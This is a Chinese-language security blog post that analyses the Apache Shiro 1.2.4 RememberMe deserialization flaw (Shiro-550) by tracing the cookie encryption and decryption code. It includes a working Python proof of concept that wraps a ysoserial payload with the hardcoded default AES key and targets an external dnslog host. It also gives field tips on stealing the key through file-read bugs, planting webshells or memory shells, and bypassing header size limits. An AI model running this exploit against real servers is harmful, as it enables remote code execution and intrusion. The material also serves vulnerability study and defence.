freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Z3专栏 | Shiro反序列化分析
2022-01-02 09:13:42
所属地 辽宁省

环境搭建

首先github下载
https://github.com/apache/shiro/archive/refs/tags/shiro-root-1.2.4.zip
使用IDEA打开,等待下载依赖,有点慢

下载完依赖后,打开samples/web/pom.xml
如图,添加如下

添加后更新maven依赖

然后配置tomcat,注意端口可能会冲突

都配置好后,点击调试,打开如下页面就是成功了

如图登录,勾选Remember Me,点击登录,抓包

如图,看到rememberMe字段

了解项目

在开始前先简单了解下shiro,如图

看一下网站目录结构

看下login.jsp
文件的开始,导入了include.jsp

<%@ include file="include.jsp" %>

include.jsp内容如下

<%@ page import="org.apache.shiro.SecurityUtils" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
<%@ taglib prefix="shiro" uri="http://shiro.apache.org/tags" %>

这样一来,就可以使用<c:out>标签输出数据、使用<c:if>像平时使用if一样、使用fmt:parseNumber解析数据、使用shiro:guest设置标签内的权限为guest等等操作(所以相当于从远程导入库,使用prefix设置前缀,下次使用前缀就可以调用库里的功能了)
这里远程调用的库文件是.tld结尾的文件

如图,shiro:guest标签的内容,只有当前权限是guest时,才能看见

再看下home.jsp
这一段标签,如果权限是guest表示还未登陆,就会提示登录信息。如果登录成功,则是:Hi XXX ! ( Log out )

shiro.ini配置如图,具体什么意思一目了然

大概就粗略了解这些吧

漏洞分析

shiro核心源码在这里

如图,在这里看见了硬编码的key

思考一下在哪里加断点
Remember me的作用就是,一次登录,后面在有效期内免登录。
那么登录后,每次访问home页面,都会对身份校验,解析Cookies中的RememberMe,所以只要找到解析Cookie的函数就可以

加密过程

翻看当前类看到onSuccessfulLogin方法,应该是登录成功后调用,加断点,登录时成功拦截
看一下函数,猜测是先清除之前的Identity,然后创建新Identity(防止之前的认证信息被复用)

进入rememberIdentity方法,如图,先将身份信息转byte,再将它序列化

convertPrincipalsToBytes函数如图,先将身份信息序列化为byte数组,再加密,返回

再进入rememberSerializedIdentity方法,如图
将身份信息序列化,写入Cookie

以上就是生成RememberMe的过程,经历过了加密,那使用到RememberMe的时候一定会经历解密

解密过程

在encrypt方法所在类(AbstractRememberMeManager类),发现了decrypt方法,如图,加断点

在使用到RememberMe是一定会用到decrypt,home.jsp页面对身份信息是有校验的,所以在decrypt方法加断点,再访问home.jsp页面,应该会进入decrypt方法的断点

但是失败了,,根本没调用decrypt方法

burp抓包看一下,如图Cookie包含JSESSIONID和rememberMe

猜测,当JSESSIONID未失效时,不会用到rememberMe,所以将JSESSIONID删掉,再发包试试
如图,成功进入decrypt方法

调用栈如图

查看之前的调用栈,发现,在ShiroFilter里,使用request、response对象,创建了subjectContext
然后如图,从subjectContext中提取Identity(Identity应该包含了RememberMe的信息)

然后对Identity解密

可惜,没看见rememberMe

看下getRememberedSerializedIdentity方法,如何从subjectContext提取Identity的
如图,从subjectContext中又解析出request和response了,然后获取到了cookie。这里的base64正是burp传入的RememberMe

然后对RememberMe执行ensurePadding方法,然后base64解码,返回

看下ensurePadding方法,如图,是填充=的

好了现在再回到decrypt方法,这里的encrypted就是base64解码后的RememberMe
首先通过CipherService对象,对RememberMe解密,然后返回byte数组

继续跟踪,看后面如何对这个byte数组反序列化的
如图byte转Principals方法,调用了反序列化方法

如图,这就直接反序列化了

构造payload

知道了加密、解密、反序列化过程,构造payload就很容易了
先弄一个恶意序列化对象(可以用ysoserial库生成),然后调用AbstractRememberMeManager.encrypt方法加密,再base64编码,就ok

看一下AbstractRememberMeManager.encrypt方法如何加密的
如图,getEncryptionCipherKey()获取到的是硬编码的key

如图,最终跟踪到这里,使用javax.crypto.Cipher对象进行加密的,这里的mode是加密模式(这里的mode对应模式是AES的CBC模式),key就是shirokey,iv是向量,不同的iv生成的加密结果不同,解密时需要使用相同的iv才能解密

看下iv的生成方式,,随机生成的

看下解密的iv获取方式,直接取加密的序列化对象前16位做iv

因为在加密时,iv会拼接在加密结果前面,所以加密后的内容前16位就是iv(iv作用就是可以使每次加密结果都不一样,不是用来解密的,所以可以直接明文,key才是用来解密的)

现在知道了加密方式
RememberMe是使用AES加密的序列化对象
那就很简单了,可以先用ysoserial生成payload,然后用python对它AES加密,key就是ShiroKey
python脚本如下

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://u89cy6.dnslog.cn')
    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

ShiroKey验证

现在已知反序列化漏洞,可以构造payload了
但是key需要猜,怎么验证是否被解密成功,反序列化成功?
常见的方式有很多种

  1. dnslog(dnslog需要机器出网)

  2. 延时

  3. 回显

  4. 直接打内存马,写webshell等操作

回显的问题后面再说,和JNDI注入的回显一起说

长度限制绕过

如果反序列化利用链太长,导致payload过长,超过了Header的max size,就会出问题

解决方法

  1. 先构造个payload,通过反射修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,把这个值改大一点

  2. 使用CloassLoader,加载远程恶意类(需要机器出网,不出网的话,可以配合本地文件上传,例如上传头像之类的)

  3. 使用body传递字节码,加载body中的class

实战利用

实战中,网站可能会有任意文件读取漏洞,而且刚好用了shiro
那就可以通过任意文件读取,读取ShiroKey,然后通过shiro反序列化,获得主机权限
路径一般是网站目录下的/WEB-INF/classes/spring-shrio.xml或spring-context-shiro.xml等

HW时可能需要暂时修改key,防止当前点被友商攻击,那可以通过反射,修改DEFAULT CIPHER KEY的值,,由于当前DEFAULT CIPHER KEY的值存于JVM方法区,当站点重启时,又会重新加载类,JVM中的key就会恢复,所以这种方式修改是暂时的
如果想永久的修改key,可以修改或设置Shiro的配置文件

Shiro 721

推荐下面文章,我就不分析了
参考文章 https://www.anquanke.com/post/id/193165

总结

本篇介绍了Shiro 550的漏洞产生原因、header长度限制绕过方式、实战利用方式等

# java漏洞 # java # java反序列化 # Java代码审计 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录